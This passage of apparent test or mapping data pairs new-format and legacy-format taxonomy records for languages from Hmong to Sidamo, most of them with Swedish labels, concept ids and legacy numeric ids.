'language', {'legacy_ams_taxonomy_id': '10363', 'type': 'language', 'label': 'Hmong', 'concept_id': 'CejU_23x_JPS', 'legacy_ams_taxonomy_num_id': 10363}),
( {'type': 'language', 'id': '5G9f_Xs6_R9R', 'preferred_label': 'Hupa', 'deprecated_legacy_id': '10364'},
'language', {'legacy_ams_taxonomy_id': '10364', 'type': 'language', 'label': 'Hupa', 'concept_id': '5G9f_Xs6_R9R', 'legacy_ams_taxonomy_num_id': 10364}),
( {'type': 'language', 'id': 'sggr_4ba_xWP', 'preferred_label': 'Iban', 'deprecated_legacy_id': '10365'},
'language', {'legacy_ams_taxonomy_id': '10365', 'type': 'language', 'label': 'Iban', 'concept_id': 'sggr_4ba_xWP', 'legacy_ams_taxonomy_num_id': 10365}),
( {'type': 'language', 'id': '3dD8_TTW_5wh', 'preferred_label': 'Ijo', 'deprecated_legacy_id': '10366'},
'language', {'legacy_ams_taxonomy_id': '10366', 'type': 'language', 'label': 'Ijo', 'concept_id': '3dD8_TTW_5wh', 'legacy_ams_taxonomy_num_id': 10366}),
( {'type': 'language', 'id': 'yBCa_NHj_TcN', 'preferred_label': 'Iloko', 'deprecated_legacy_id': '10367'},
'language', {'legacy_ams_taxonomy_id': '10367', 'type': 'language', 'label': 'Iloko', 'concept_id': 'yBCa_NHj_TcN', 'legacy_ams_taxonomy_num_id': 10367}),
( {'type': 'language', 'id': 'P69L_FCv_sf9', 'preferred_label': 'Indo-iranska språk, andra', 'deprecated_legacy_id': '10368'},
'language', {'legacy_ams_taxonomy_id': '10368', 'type': 'language', 'label': 'Indo-iranska språk, andra', 'concept_id': 'P69L_FCv_sf9', 'legacy_ams_taxonomy_num_id': 10368}),
( {'type': 'language', 'id': 'kwP5_3pt_hk9', 'preferred_label': 'Indo-europeiska språk, andra', 'deprecated_legacy_id': '10369'},
'language', {'legacy_ams_taxonomy_id': '10369', 'type': 'language', 'label': 'Indo-europeiska språk, andra', 'concept_id': 'kwP5_3pt_hk9', 'legacy_ams_taxonomy_num_id': 10369}),
( {'type': 'language', 'id': 'dWU4_ed7_jX6', 'preferred_label': 'Interlingua', 'deprecated_legacy_id': '10370'},
'language', {'legacy_ams_taxonomy_id': '10370', 'type': 'language', 'label': 'Interlingua', 'concept_id': 'dWU4_ed7_jX6', 'legacy_ams_taxonomy_num_id': 10370}),
( {'type': 'language', 'id': 'r2HQ_7Dt_N2N', 'preferred_label': 'Inuktitut', 'deprecated_legacy_id': '10371'},
'language', {'legacy_ams_taxonomy_id': '10371', 'type': 'language', 'label': 'Inuktitut', 'concept_id': 'r2HQ_7Dt_N2N', 'legacy_ams_taxonomy_num_id': 10371}),
( {'type': 'language', 'id': 'gXVC_bNa_VdA', 'preferred_label': 'Inupiak', 'deprecated_legacy_id': '10372'},
'language', {'legacy_ams_taxonomy_id': '10372', 'type': 'language', 'label': 'Inupiak', 'concept_id': 'gXVC_bNa_VdA', 'legacy_ams_taxonomy_num_id': 10372}),
( {'type': 'language', 'id': 'kafF_y2Q_Md2', 'preferred_label': 'Iranska språk, andra', 'deprecated_legacy_id': '10373'},
'language', {'legacy_ams_taxonomy_id': '10373', 'type': 'language', 'label': 'Iranska språk, andra', 'concept_id': 'kafF_y2Q_Md2', 'legacy_ams_taxonomy_num_id': 10373}),
( {'type': 'language', 'id': '8G95_iDg_rtV', 'preferred_label': 'Medelirisk', 'deprecated_legacy_id': '10374'},
'language', {'legacy_ams_taxonomy_id': '10374', 'type': 'language', 'label': 'Medelirisk', 'concept_id': '8G95_iDg_rtV', 'legacy_ams_taxonomy_num_id': 10374}),
( {'type': 'language', 'id': '8VDp_XA9_dBF', 'preferred_label': 'Gammaliriska', 'deprecated_legacy_id': '10375'},
'language', {'legacy_ams_taxonomy_id': '10375', 'type': 'language', 'label': 'Gammaliriska', 'concept_id': '8VDp_XA9_dBF', 'legacy_ams_taxonomy_num_id': 10375}),
( {'type': 'language', 'id': 'rdv1_9u8_wCM', 'preferred_label': 'Irokesarspråk', 'deprecated_legacy_id': '10376'},
'language', {'legacy_ams_taxonomy_id': '10376', 'type': 'language', 'label': 'Irokesarspråk', 'concept_id': 'rdv1_9u8_wCM', 'legacy_ams_taxonomy_num_id': 10376}),
( {'type': 'language', 'id': '64Rg_xyJ_bmN', 'preferred_label': 'Judeo-arabisk', 'deprecated_legacy_id': '10377'},
'language', {'legacy_ams_taxonomy_id': '10377', 'type': 'language', 'label': 'Judeo-arabisk', 'concept_id': '64Rg_xyJ_bmN', 'legacy_ams_taxonomy_num_id': 10377}),
( {'type': 'language', 'id': 'W5rh_1Ec_sox', 'preferred_label': 'Judeo-persiska', 'deprecated_legacy_id': '10378'},
'language', {'legacy_ams_taxonomy_id': '10378', 'type': 'language', 'label': 'Judeo-persiska', 'concept_id': 'W5rh_1Ec_sox', 'legacy_ams_taxonomy_num_id': 10378}),
( {'type': 'language', 'id': 'ZsK2_s92_xaW', 'preferred_label': 'Kachin', 'deprecated_legacy_id': '10379'},
'language', {'legacy_ams_taxonomy_id': '10379', 'type': 'language', 'label': 'Kachin', 'concept_id': 'ZsK2_s92_xaW', 'legacy_ams_taxonomy_num_id': 10379}),
( {'type': 'language', 'id': 'brZn_27W_A9K', 'preferred_label': 'Karakalpak', 'deprecated_legacy_id': '10381'},
'language', {'legacy_ams_taxonomy_id': '10381', 'type': 'language', 'label': 'Karakalpak', 'concept_id': 'brZn_27W_A9K', 'legacy_ams_taxonomy_num_id': 10381}),
( {'type': 'language', 'id': 'DuPf_Z28_3Jv', 'preferred_label': 'Kawi', 'deprecated_legacy_id': '10383'},
'language', {'legacy_ams_taxonomy_id': '10383', 'type': 'language', 'label': 'Kawi', 'concept_id': 'DuPf_Z28_3Jv', 'legacy_ams_taxonomy_num_id': 10383}),
( {'type': 'language', 'id': 'e84R_V8f_fXS', 'preferred_label': 'Khasi', 'deprecated_legacy_id': '10384'},
'language', {'legacy_ams_taxonomy_id': '10384', 'type': 'language', 'label': 'Khasi', 'concept_id': 'e84R_V8f_fXS', 'legacy_ams_taxonomy_num_id': 10384}),
( {'type': 'language', 'id': 'Vdz7_pdG_bTJ', 'preferred_label': 'Khoisanspråk, andra', 'deprecated_legacy_id': '10385'},
'language', {'legacy_ams_taxonomy_id': '10385', 'type': 'language', 'label': 'Khoisanspråk, andra', 'concept_id': 'Vdz7_pdG_bTJ', 'legacy_ams_taxonomy_num_id': 10385}),
( {'type': 'language', 'id': 'aF96_PaA_VAs', 'preferred_label': 'Khotanesiska', 'deprecated_legacy_id': '10386'},
'language', {'legacy_ams_taxonomy_id': '10386', 'type': 'language', 'label': 'Khotanesiska', 'concept_id': 'aF96_PaA_VAs', 'legacy_ams_taxonomy_num_id': 10386}),
( {'type': 'language', 'id': 'PZH4_EGP_Dz3', 'preferred_label': 'Kimbundu', 'deprecated_legacy_id': '10388'},
'language', {'legacy_ams_taxonomy_id': '10388', 'type': 'language', 'label': 'Kimbundu', 'concept_id': 'PZH4_EGP_Dz3', 'legacy_ams_taxonomy_num_id': 10388}),
( {'type': 'language', 'id': 'KVSQ_4pu_RSs', 'preferred_label': 'Komi', 'deprecated_legacy_id': '10389'},
'language', {'legacy_ams_taxonomy_id': '10389', 'type': 'language', 'label': 'Komi', 'concept_id': 'KVSQ_4pu_RSs', 'legacy_ams_taxonomy_num_id': 10389}),
( {'type': 'language', 'id': 'gsoZ_3LM_C79', 'preferred_label': 'Kosraeiska', 'deprecated_legacy_id': '10390'},
'language', {'legacy_ams_taxonomy_id': '10390', 'type': 'language', 'label': 'Kosraeiska', 'concept_id': 'gsoZ_3LM_C79', 'legacy_ams_taxonomy_num_id': 10390}),
( {'type': 'language', 'id': 'nT65_Jya_ocT', 'preferred_label': 'Kpelle', 'deprecated_legacy_id': '10391'},
'language', {'legacy_ams_taxonomy_id': '10391', 'type': 'language', 'label': 'Kpelle', 'concept_id': 'nT65_Jya_ocT', 'legacy_ams_taxonomy_num_id': 10391}),
( {'type': 'language', 'id': 'sXAB_vhU_zN8', 'preferred_label': 'Kuanyama', 'deprecated_legacy_id': '10392'},
'language', {'legacy_ams_taxonomy_id': '10392', 'type': 'language', 'label': 'Kuanyama', 'concept_id': 'sXAB_vhU_zN8', 'legacy_ams_taxonomy_num_id': 10392}),
( {'type': 'language', 'id': 'MZ9f_S5d_6Wo', 'preferred_label': 'Kumykiska', 'deprecated_legacy_id': '10393'},
'language', {'legacy_ams_taxonomy_id': '10393', 'type': 'language', 'label': 'Kumykiska', 'concept_id': 'MZ9f_S5d_6Wo', 'legacy_ams_taxonomy_num_id': 10393}),
( {'type': 'language', 'id': 'qTKS_snK_ezT', 'preferred_label': 'Kurukh', 'deprecated_legacy_id': '10394'},
'language', {'legacy_ams_taxonomy_id': '10394', 'type': 'language', 'label': 'Kurukh', 'concept_id': 'qTKS_snK_ezT', 'legacy_ams_taxonomy_num_id': 10394}),
( {'type': 'language', 'id': 'fLPj_PDh_SQJ', 'preferred_label': 'Kutenai', 'deprecated_legacy_id': '10395'},
'language', {'legacy_ams_taxonomy_id': '10395', 'type': 'language', 'label': 'Kutenai', 'concept_id': 'fLPj_PDh_SQJ', 'legacy_ams_taxonomy_num_id': 10395}),
( {'type': 'language', 'id': 'B9id_Ecv_qji', 'preferred_label': 'Ladino', 'deprecated_legacy_id': '10396'},
'language', {'legacy_ams_taxonomy_id': '10396', 'type': 'language', 'label': 'Ladino', 'concept_id': 'B9id_Ecv_qji', 'legacy_ams_taxonomy_num_id': 10396}),
( {'type': 'language', 'id': '73sF_ejf_2Vx', 'preferred_label': 'Lahnda', 'deprecated_legacy_id': '10397'},
'language', {'legacy_ams_taxonomy_id': '10397', 'type': 'language', 'label': 'Lahnda', 'concept_id': '73sF_ejf_2Vx', 'legacy_ams_taxonomy_num_id': 10397}),
( {'type': 'language', 'id': '7nWL_Bzc_RFQ', 'preferred_label': 'Latin', 'deprecated_legacy_id': '10400'},
'language', {'legacy_ams_taxonomy_id': '10400', 'type': 'language', 'label': 'Latin', 'concept_id': '7nWL_Bzc_RFQ', 'legacy_ams_taxonomy_num_id': 10400}),
( {'type': 'language', 'id': '9ig9_ypn_cVw', 'preferred_label': 'Lesgiska', 'deprecated_legacy_id': '10401'},
'language', {'legacy_ams_taxonomy_id': '10401', 'type': 'language', 'label': 'Lesgiska', 'concept_id': '9ig9_ypn_cVw', 'legacy_ams_taxonomy_num_id': 10401}),
( {'type': 'language', 'id': 'yA84_KQv_pKJ', 'preferred_label': 'Luba-Lulua', 'deprecated_legacy_id': '10402'},
'language', {'legacy_ams_taxonomy_id': '10402', 'type': 'language', 'label': 'Luba-Lulua', 'concept_id': 'yA84_KQv_pKJ', 'legacy_ams_taxonomy_num_id': 10402}),
( {'type': 'language', 'id': 'rEi5_NuN_9xC', 'preferred_label': 'Luiseno', 'deprecated_legacy_id': '10403'},
'language', {'legacy_ams_taxonomy_id': '10403', 'type': 'language', 'label': 'Luiseno', 'concept_id': 'rEi5_NuN_9xC', 'legacy_ams_taxonomy_num_id': 10403}),
( {'type': 'language', 'id': 'qeKC_PXn_cHU', 'preferred_label': 'Lushai', 'deprecated_legacy_id': '10404'},
'language', {'legacy_ams_taxonomy_id': '10404', 'type': 'language', 'label': 'Lushai', 'concept_id': 'qeKC_PXn_cHU', 'legacy_ams_taxonomy_num_id': 10404}),
( {'type': 'language', 'id': 'rJah_bYL_qdW', 'preferred_label': 'Magahi', 'deprecated_legacy_id': '10405'},
'language', {'legacy_ams_taxonomy_id': '10405', 'type': 'language', 'label': 'Magahi', 'concept_id': 'rJah_bYL_qdW', 'legacy_ams_taxonomy_num_id': 10405}),
( {'type': 'language', 'id': 'AzXn_4ic_B5Y', 'preferred_label': 'Maithili', 'deprecated_legacy_id': '10406'},
'language', {'legacy_ams_taxonomy_id': '10406', 'type': 'language', 'label': 'Maithili', 'concept_id': 'AzXn_4ic_B5Y', 'legacy_ams_taxonomy_num_id': 10406}),
( {'type': 'language', 'id': 'ER1i_tUG_y4e', 'preferred_label': 'Makassar', 'deprecated_legacy_id': '10407'},
'language', {'legacy_ams_taxonomy_id': '10407', 'type': 'language', 'label': 'Makassar', 'concept_id': 'ER1i_tUG_y4e', 'legacy_ams_taxonomy_num_id': 10407}),
( {'type': 'language', 'id': 'PvjG_Ak1_L71', 'preferred_label': 'Mandingo', 'deprecated_legacy_id': '10408'},
'language', {'legacy_ams_taxonomy_id': '10408', 'type': 'language', 'label': 'Mandingo', 'concept_id': 'PvjG_Ak1_L71', 'legacy_ams_taxonomy_num_id': 10408}),
( {'type': 'language', 'id': '4xVc_tVS_85F', 'preferred_label': 'Manipuriska', 'deprecated_legacy_id': '10409'},
'language', {'legacy_ams_taxonomy_id': '10409', 'type': 'language', 'label': 'Manipuriska', 'concept_id': '4xVc_tVS_85F', 'legacy_ams_taxonomy_num_id': 10409}),
( {'type': 'language', 'id': 'A4h7_WDJ_Qzf', 'preferred_label': 'Manobospråk', 'deprecated_legacy_id': '10410'},
'language', {'legacy_ams_taxonomy_id': '10410', 'type': 'language', 'label': 'Manobospråk', 'concept_id': 'A4h7_WDJ_Qzf', 'legacy_ams_taxonomy_num_id': 10410}),
( {'type': 'language', 'id': 'JDk9_Yia_DPQ', 'preferred_label': 'Marshalliska', 'deprecated_legacy_id': '10411'},
'language', {'legacy_ams_taxonomy_id': '10411', 'type': 'language', 'label': 'Marshalliska', 'concept_id': 'JDk9_Yia_DPQ', 'legacy_ams_taxonomy_num_id': 10411}),
( {'type': 'language', 'id': '3ueP_nhZ_1em', 'preferred_label': 'Micmac', 'deprecated_legacy_id': '10412'},
'language', {'legacy_ams_taxonomy_id': '10412', 'type': 'language', 'label': 'Micmac', 'concept_id': '3ueP_nhZ_1em', 'legacy_ams_taxonomy_num_id': 10412}),
( {'type': 'language', 'id': 'hB5i_2eY_Kur', 'preferred_label': 'Minangkabau', 'deprecated_legacy_id': '10413'},
'language', {'legacy_ams_taxonomy_id': '10413', 'type': 'language', 'label': 'Minangkabau', 'concept_id': 'hB5i_2eY_Kur', 'legacy_ams_taxonomy_num_id': 10413}),
( {'type': 'language', 'id': '8GQ1_Avf_vdR', 'preferred_label': 'Diverse språk', 'deprecated_legacy_id': '10414'},
'language', {'legacy_ams_taxonomy_id': '10414', 'type': 'language', 'label': 'Diverse språk', 'concept_id': '8GQ1_Avf_vdR', 'legacy_ams_taxonomy_num_id': 10414}),
( {'type': 'language', 'id': 's6ka_gDZ_Ycb', 'preferred_label': 'Mohawk', 'deprecated_legacy_id': '10415'},
'language', {'legacy_ams_taxonomy_id': '10415', 'type': 'language', 'label': 'Mohawk', 'concept_id': 's6ka_gDZ_Ycb', 'legacy_ams_taxonomy_num_id': 10415}),
( {'type': 'language', 'id': 'wcNi_yzQ_n9V', 'preferred_label': 'Monkhmerspråk, andra', 'deprecated_legacy_id': '10416'},
'language', {'legacy_ams_taxonomy_id': '10416', 'type': 'language', 'label': 'Monkhmerspråk, andra', 'concept_id': 'wcNi_yzQ_n9V', 'legacy_ams_taxonomy_num_id': 10416}),
( {'type': 'language', 'id': 'En9t_Siu_7yx', 'preferred_label': 'Mongo', 'deprecated_legacy_id': '10417'},
'language', {'legacy_ams_taxonomy_id': '10417', 'type': 'language', 'label': 'Mongo', 'concept_id': 'En9t_Siu_7yx', 'legacy_ams_taxonomy_num_id': 10417}),
( {'type': 'language', 'id': 'o8Xp_wvY_5pu', 'preferred_label': 'Flera språk', 'deprecated_legacy_id': '10419'},
'language', {'legacy_ams_taxonomy_id': '10419', 'type': 'language', 'label': 'Flera språk', 'concept_id': 'o8Xp_wvY_5pu', 'legacy_ams_taxonomy_num_id': 10419}),
( {'type': 'language', 'id': 'EUGX_wJT_qxE', 'preferred_label': 'Mundspråk', 'deprecated_legacy_id': '10420'},
'language', {'legacy_ams_taxonomy_id': '10420', 'type': 'language', 'label': 'Mundspråk', 'concept_id': 'EUGX_wJT_qxE', 'legacy_ams_taxonomy_num_id': 10420}),
( {'type': 'language', 'id': '8ZiC_PNc_hkY', 'preferred_label': 'Ndebele Syd', 'deprecated_legacy_id': '10422'},
'language', {'legacy_ams_taxonomy_id': '10422', 'type': 'language', 'label': 'Ndebele Syd', 'concept_id': '8ZiC_PNc_hkY', 'legacy_ams_taxonomy_num_id': 10422}),
( {'type': 'language', 'id': 'zAgM_Myz_xeD', 'preferred_label': 'Ndonga', 'deprecated_legacy_id': '10423'},
'language', {'legacy_ams_taxonomy_id': '10423', 'type': 'language', 'label': 'Ndonga', 'concept_id': 'zAgM_Myz_xeD', 'legacy_ams_taxonomy_num_id': 10423}),
( {'type': 'language', 'id': 'dS3F_4gn_htW', 'preferred_label': 'Newari', 'deprecated_legacy_id': '10424'},
'language', {'legacy_ams_taxonomy_id': '10424', 'type': 'language', 'label': 'Newari', 'concept_id': 'dS3F_4gn_htW', 'legacy_ams_taxonomy_num_id': 10424}),
( {'type': 'language', 'id': 'vNJX_dvg_1aq', 'preferred_label': 'Nias', 'deprecated_legacy_id': '10425'},
'language', {'legacy_ams_taxonomy_id': '10425', 'type': 'language', 'label': 'Nias', 'concept_id': 'vNJX_dvg_1aq', 'legacy_ams_taxonomy_num_id': 10425}),
( {'type': 'language', 'id': 'Kmib_KAp_WkF', 'preferred_label': 'Niger-Kordofanspråk, andra', 'deprecated_legacy_id': '10426'},
'language', {'legacy_ams_taxonomy_id': '10426', 'type': 'language', 'label': 'Niger-Kordofanspråk, andra', 'concept_id': 'Kmib_KAp_WkF', 'legacy_ams_taxonomy_num_id': 10426}),
( {'type': 'language', 'id': 'MAWi_wjM_Qrb', 'preferred_label': 'Nilsahariska, andra', 'deprecated_legacy_id': '10427'},
'language', {'legacy_ams_taxonomy_id': '10427', 'type': 'language', 'label': 'Nilsahariska, andra', 'concept_id': 'MAWi_wjM_Qrb', 'legacy_ams_taxonomy_num_id': 10427}),
( {'type': 'language', 'id': 'e44f_RYG_BZd', 'preferred_label': 'Niuea', 'deprecated_legacy_id': '10428'},
'language', {'legacy_ams_taxonomy_id': '10428', 'type': 'language', 'label': 'Niuea', 'concept_id': 'e44f_RYG_BZd', 'legacy_ams_taxonomy_num_id': 10428}),
( {'type': 'language', 'id': 'Xgng_L5L_T89', 'preferred_label': 'Gammalnorska', 'deprecated_legacy_id': '10429'},
'language', {'legacy_ams_taxonomy_id': '10429', 'type': 'language', 'label': 'Gammalnorska', 'concept_id': 'Xgng_L5L_T89', 'legacy_ams_taxonomy_num_id': 10429}),
( {'type': 'language', 'id': 'rztR_jw7_vez', 'preferred_label': 'Nordamerikanska indianerspråk, andra', 'deprecated_legacy_id': '10430'},
'language', {'legacy_ams_taxonomy_id': '10430', 'type': 'language', 'label': 'Nordamerikanska indianerspråk, andra', 'concept_id': 'rztR_jw7_vez', 'legacy_ams_taxonomy_num_id': 10430}),
( {'type': 'language', 'id': '5gu3_xFf_Mo8', 'preferred_label': 'Nubiska språk', 'deprecated_legacy_id': '10431'},
'language', {'legacy_ams_taxonomy_id': '10431', 'type': 'language', 'label': 'Nubiska språk', 'concept_id': '5gu3_xFf_Mo8', 'legacy_ams_taxonomy_num_id': 10431}),
( {'type': 'language', 'id': 'yh9H_efB_UFJ', 'preferred_label': 'Nyankole', 'deprecated_legacy_id': '10432'},
'language', {'legacy_ams_taxonomy_id': '10432', 'type': 'language', 'label': 'Nyankole', 'concept_id': 'yh9H_efB_UFJ', 'legacy_ams_taxonomy_num_id': 10432}),
( {'type': 'language', 'id': 'EwW1_aQH_EXu', 'preferred_label': 'Nyoro', 'deprecated_legacy_id': '10433'},
'language', {'legacy_ams_taxonomy_id': '10433', 'type': 'language', 'label': 'Nyoro', 'concept_id': 'EwW1_aQH_EXu', 'legacy_ams_taxonomy_num_id': 10433}),
( {'type': 'language', 'id': 'Agwy_4Hu_NTY', 'preferred_label': 'Nzima', 'deprecated_legacy_id': '10434'},
'language', {'legacy_ams_taxonomy_id': '10434', 'type': 'language', 'label': 'Nzima', 'concept_id': 'Agwy_4Hu_NTY', 'legacy_ams_taxonomy_num_id': 10434}),
( {'type': 'language', 'id': 'MPVv_14T_88n', 'preferred_label': 'Ojibwa', 'deprecated_legacy_id': '10435'},
'language', {'legacy_ams_taxonomy_id': '10435', 'type': 'language', 'label': 'Ojibwa', 'concept_id': 'MPVv_14T_88n', 'legacy_ams_taxonomy_num_id': 10435}),
( {'type': 'language', 'id': 'Ev2g_L1i_D62', 'preferred_label': 'Osage', 'deprecated_legacy_id': '10436'},
'language', {'legacy_ams_taxonomy_id': '10436', 'type': 'language', 'label': 'Osage', 'concept_id': 'Ev2g_L1i_D62', 'legacy_ams_taxonomy_num_id': 10436}),
( {'type': 'language', 'id': 'Ji47_WT1_NKN', 'preferred_label': 'Ossetiska', 'deprecated_legacy_id': '10437'},
'language', {'legacy_ams_taxonomy_id': '10437', 'type': 'language', 'label': 'Ossetiska', 'concept_id': 'Ji47_WT1_NKN', 'legacy_ams_taxonomy_num_id': 10437}),
( {'type': 'language', 'id': 'QdLQ_Ti9_UP3', 'preferred_label': 'Oto-manguespråk', 'deprecated_legacy_id': '10438'},
'language', {'legacy_ams_taxonomy_id': '10438', 'type': 'language', 'label': 'Oto-manguespråk', 'concept_id': 'QdLQ_Ti9_UP3', 'legacy_ams_taxonomy_num_id': 10438}),
( {'type': 'language', 'id': '9RmN_zLz_k9H', 'preferred_label': 'Pahlavi', 'deprecated_legacy_id': '10439'},
'language', {'legacy_ams_taxonomy_id': '10439', 'type': 'language', 'label': 'Pahlavi', 'concept_id': '9RmN_zLz_k9H', 'legacy_ams_taxonomy_num_id': 10439}),
( {'type': 'language', 'id': '3ofn_Vft_AFK', 'preferred_label': 'Palauiska', 'deprecated_legacy_id': '10440'},
'language', {'legacy_ams_taxonomy_id': '10440', 'type': 'language', 'label': 'Palauiska', 'concept_id': '3ofn_Vft_AFK', 'legacy_ams_taxonomy_num_id': 10440}),
( {'type': 'language', 'id': 'uVrS_Lx3_7N2', 'preferred_label': 'Pali', 'deprecated_legacy_id': '10441'},
'language', {'legacy_ams_taxonomy_id': '10441', 'type': 'language', 'label': 'Pali', 'concept_id': 'uVrS_Lx3_7N2', 'legacy_ams_taxonomy_num_id': 10441}),
( {'type': 'language', 'id': 'wAEM_WR9_cmv', 'preferred_label': 'Pampanggo', 'deprecated_legacy_id': '10442'},
'language', {'legacy_ams_taxonomy_id': '10442', 'type': 'language', 'label': 'Pampanggo', 'concept_id': 'wAEM_WR9_cmv', 'legacy_ams_taxonomy_num_id': 10442}),
( {'type': 'language', 'id': 'yymy_7L8_LDE', 'preferred_label': 'Pangasinan', 'deprecated_legacy_id': '10443'},
'language', {'legacy_ams_taxonomy_id': '10443', 'type': 'language', 'label': 'Pangasinan', 'concept_id': 'yymy_7L8_LDE', 'legacy_ams_taxonomy_num_id': 10443}),
( {'type': 'language', 'id': 'QWLc_9BV_8RS', 'preferred_label': 'Papiamento', 'deprecated_legacy_id': '10444'},
'language', {'legacy_ams_taxonomy_id': '10444', 'type': 'language', 'label': 'Papiamento', 'concept_id': 'QWLc_9BV_8RS', 'legacy_ams_taxonomy_num_id': 10444}),
( {'type': 'language', 'id': '7HE9_DoQ_a56', 'preferred_label': 'Papuanska språk, andra', 'deprecated_legacy_id': '10445'},
'language', {'legacy_ams_taxonomy_id': '10445', 'type': 'language', 'label': 'Papuanska språk, andra', 'concept_id': '7HE9_DoQ_a56', 'legacy_ams_taxonomy_num_id': 10445}),
( {'type': 'language', 'id': 'WA3P_FfD_nmy', 'preferred_label': 'Gammelpersiska', 'deprecated_legacy_id': '10446'},
'language', {'legacy_ams_taxonomy_id': '10446', 'type': 'language', 'label': 'Gammelpersiska', 'concept_id': 'WA3P_FfD_nmy', 'legacy_ams_taxonomy_num_id': 10446}),
( {'type': 'language', 'id': 'SUTA_7JX_JRw', 'preferred_label': 'Filippinska språk, andra', 'deprecated_legacy_id': '10447'},
'language', {'legacy_ams_taxonomy_id': '10447', 'type': 'language', 'label': 'Filippinska språk, andra', 'concept_id': 'SUTA_7JX_JRw', 'legacy_ams_taxonomy_num_id': 10447}),
( {'type': 'language', 'id': 'CM6d_taZ_vVL', 'preferred_label': 'Fönikiska', 'deprecated_legacy_id': '10448'},
'language', {'legacy_ams_taxonomy_id': '10448', 'type': 'language', 'label': 'Fönikiska', 'concept_id': 'CM6d_taZ_vVL', 'legacy_ams_taxonomy_num_id': 10448}),
( {'type': 'language', 'id': 'zASV_5vH_5Yr', 'preferred_label': 'Pohnpei', 'deprecated_legacy_id': '10449'},
'language', {'legacy_ams_taxonomy_id': '10449', 'type': 'language', 'label': 'Pohnpei', 'concept_id': 'zASV_5vH_5Yr', 'legacy_ams_taxonomy_num_id': 10449}),
( {'type': 'language', 'id': 'HPb5_vo6_Dmp', 'preferred_label': 'Prakrit', 'deprecated_legacy_id': '10450'},
'language', {'legacy_ams_taxonomy_id': '10450', 'type': 'language', 'label': 'Prakrit', 'concept_id': 'HPb5_vo6_Dmp', 'legacy_ams_taxonomy_num_id': 10450}),
( {'type': 'language', 'id': '1zy3_huH_ic1', 'preferred_label': 'Gammelprovecanska', 'deprecated_legacy_id': '10451'},
'language', {'legacy_ams_taxonomy_id': '10451', 'type': 'language', 'label': 'Gammelprovecanska', 'concept_id': '1zy3_huH_ic1', 'legacy_ams_taxonomy_num_id': 10451}),
( {'type': 'language', 'id': 'bUdf_dcV_r3c', 'preferred_label': 'Rajasthanisja; marwariska', 'deprecated_legacy_id': '10453'},
'language', {'legacy_ams_taxonomy_id': '10453', 'type': 'language', 'label': 'Rajasthanisja; marwariska', 'concept_id': 'bUdf_dcV_r3c', 'legacy_ams_taxonomy_num_id': 10453}),
( {'type': 'language', 'id': 'VEPz_1v9_Rvu', 'preferred_label': 'Rapanui', 'deprecated_legacy_id': '10454'},
'language', {'legacy_ams_taxonomy_id': '10454', 'type': 'language', 'label': 'Rapanui', 'concept_id': 'VEPz_1v9_Rvu', 'legacy_ams_taxonomy_num_id': 10454}),
( {'type': 'language', 'id': 'anUm_Nr6_gpN', 'preferred_label': 'Rarotonga', 'deprecated_legacy_id': '10455'},
'language', {'legacy_ams_taxonomy_id': '10455', 'type': 'language', 'label': 'Rarotonga', 'concept_id': 'anUm_Nr6_gpN', 'legacy_ams_taxonomy_num_id': 10455}),
( {'type': 'language', 'id': 'xxAm_o17_Sf3', 'preferred_label': 'Romanska språk, andra', 'deprecated_legacy_id': '10456'},
'language', {'legacy_ams_taxonomy_id': '10456', 'type': 'language', 'label': 'Romanska språk, andra', 'concept_id': 'xxAm_o17_Sf3', 'legacy_ams_taxonomy_num_id': 10456}),
( {'type': 'language', 'id': 'GXwq_W4u_cvX', 'preferred_label': 'Saliska språk', 'deprecated_legacy_id': '10458'},
'language', {'legacy_ams_taxonomy_id': '10458', 'type': 'language', 'label': 'Saliska språk', 'concept_id': 'GXwq_W4u_cvX', 'legacy_ams_taxonomy_num_id': 10458}),
( {'type': 'language', 'id': 'kQvM_k1N_nne', 'preferred_label': 'Samaritansk aramaiska', 'deprecated_legacy_id': '10459'},
'language', {'legacy_ams_taxonomy_id': '10459', 'type': 'language', 'label': 'Samaritansk aramaiska', 'concept_id': 'kQvM_k1N_nne', 'legacy_ams_taxonomy_num_id': 10459}),
( {'type': 'language', 'id': 'FCsC_s5t_dU2', 'preferred_label': 'Sandawe', 'deprecated_legacy_id': '10460'},
'language', {'legacy_ams_taxonomy_id': '10460', 'type': 'language', 'label': 'Sandawe', 'concept_id': 'FCsC_s5t_dU2', 'legacy_ams_taxonomy_num_id': 10460}),
( {'type': 'language', 'id': 'WV6s_E7d_hBp', 'preferred_label': 'Sanskrit', 'deprecated_legacy_id': '10461'},
'language', {'legacy_ams_taxonomy_id': '10461', 'type': 'language', 'label': 'Sanskrit', 'concept_id': 'WV6s_E7d_hBp', 'legacy_ams_taxonomy_num_id': 10461}),
( {'type': 'language', 'id': 'anHt_dxL_Yvo', 'preferred_label': 'Sasak', 'deprecated_legacy_id': '10462'},
'language', {'legacy_ams_taxonomy_id': '10462', 'type': 'language', 'label': 'Sasak', 'concept_id': 'anHt_dxL_Yvo', 'legacy_ams_taxonomy_num_id': 10462}),
( {'type': 'language', 'id': 'agM1_4uk_nHZ', 'preferred_label': 'Selkupiska', 'deprecated_legacy_id': '10463'},
'language', {'legacy_ams_taxonomy_id': '10463', 'type': 'language', 'label': 'Selkupiska', 'concept_id': 'agM1_4uk_nHZ', 'legacy_ams_taxonomy_num_id': 10463}),
( {'type': 'language', 'id': 'sCUz_F8E_pKZ', 'preferred_label': 'Semitiska språk, andra', 'deprecated_legacy_id': '10464'},
'language', {'legacy_ams_taxonomy_id': '10464', 'type': 'language', 'label': 'Semitiska språk, andra', 'concept_id': 'sCUz_F8E_pKZ', 'legacy_ams_taxonomy_num_id': 10464}),
( {'type': 'language', 'id': 'Xajo_j9B_XWW', 'preferred_label': 'Serer', 'deprecated_legacy_id': '10465'},
'language', {'legacy_ams_taxonomy_id': '10465', 'type': 'language', 'label': 'Serer', 'concept_id': 'Xajo_j9B_XWW', 'legacy_ams_taxonomy_num_id': 10465}),
( {'type': 'language', 'id': 'ZRA5_7p5_vY7', 'preferred_label': 'Shan', 'deprecated_legacy_id': '10466'},
'language', {'legacy_ams_taxonomy_id': '10466', 'type': 'language', 'label': 'Shan', 'concept_id': 'ZRA5_7p5_vY7', 'legacy_ams_taxonomy_num_id': 10466}),
( {'type': 'language', 'id': 'G8e4_Sid_vFd', 'preferred_label': 'Sidamo', 'deprecated_legacy_id': '10467'},
'language', {'legacy_ams_taxonomy_id': '10467', 'type': 'language', 'label': 'Sidamo', 'concept_id': 'G8e4_Sid_vFd', 'legacy_ams_taxonomy_num_id': 10467}),
